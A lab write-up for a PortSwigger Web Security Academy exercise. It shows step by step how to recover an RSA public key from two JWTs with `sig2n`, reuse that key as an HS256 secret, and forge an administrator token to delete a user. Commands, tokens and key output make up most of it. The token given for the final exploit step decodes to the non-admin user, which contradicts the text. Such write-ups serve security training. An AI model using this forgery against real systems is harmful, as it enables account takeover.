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# JWT Authentication Bypass via Algorithm Confusion without Exposed Public Key
JWT Authentication Bypass via Algorithm Confusion without Exposed Public Key notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, a
### JWT Authentication Bypass via Algorithm Confusion with No Exposed Key
#### Lab Context
We use **JWT** to manage the session. The tokens are normally signed in **RSA (RS256)** with a robust key pair:
* private key: sign JWT
* public key: check JWT
The weakness comes from an incorrect implementation: the server accepts a JWT declared in **HS256** and re-uses the **public key RSA** as **secret HMAC**.
**Objective:** get a valid JWT with `sub=administrator`, access `/admin`, then delete **carlos**.
#### Recovery of Two JWT RS256
We connect with `wiener:peter` and get a first JWT RS256:
**TOKEN 1**
```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA
```
Then we disconnect and then reconnect to get a second JWT RS256 (even `kid`, different signature):
**TOKEN 2**
```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA
```
### Reconstruction of a Valid RSA Public Key with `sig2n`
We use the `sig2n` (PortSwigger) tool in Docker to rebuild a public key from **TOKEN 1** and **TOKEN 2**:
```bash
docker run --rm -it docker.io/portswigger/sig2n /
'TOKEN1' 'TOKEN2'
```
With our two complete tokens:
{% code overflow="wrap" %}
```bash
docker run --rm -it docker.io/portswigger/sig2n /
'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA'
```
{% endcode %}
The tool returns the following key values:
* **Base64 encoded x509 key** (public key)
* **Tampered JWT** (JWT HS256 test)
In our case, the x509 key returned is:
{% code overflow="wrap" %}
```bash
Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M
```
{% endcode %}
#### Test: Validating a Tampered HS256 JWT
We test the JWT HS256 provided by `sig2n`:
```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```
Server accepts
So the rebuilt public key is usable as HMAC secret.
```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```
#### Creating a Symmetrical Key (oct) with the Public Key
We create a symmetrical **oct** key whose `k` value is the public key base64:
```json
{
"kty": "oct",
"kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```
#### Forging the Administrator JWT
Payload (on passe en `administrator`)
```json
{
"iss": "portswigger",
"exp": 1767554474,
"sub": "administrator"
}
```
Header (toggle in HS256 and keep the expected `kid`)
```json
{
"kid": "658001cf-6704-456b-983e-7ab4373ff03b",
"alg": "HS256"
}
```
We then sign this JWT in **HS256** with the symmetrical key created (secret = public key).
#### Exploitation
1. We replace the JWT cookie with our forged HS256 token.
2. We're going to `/admin`.
3. We delete the user **carlos**.
```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```
---
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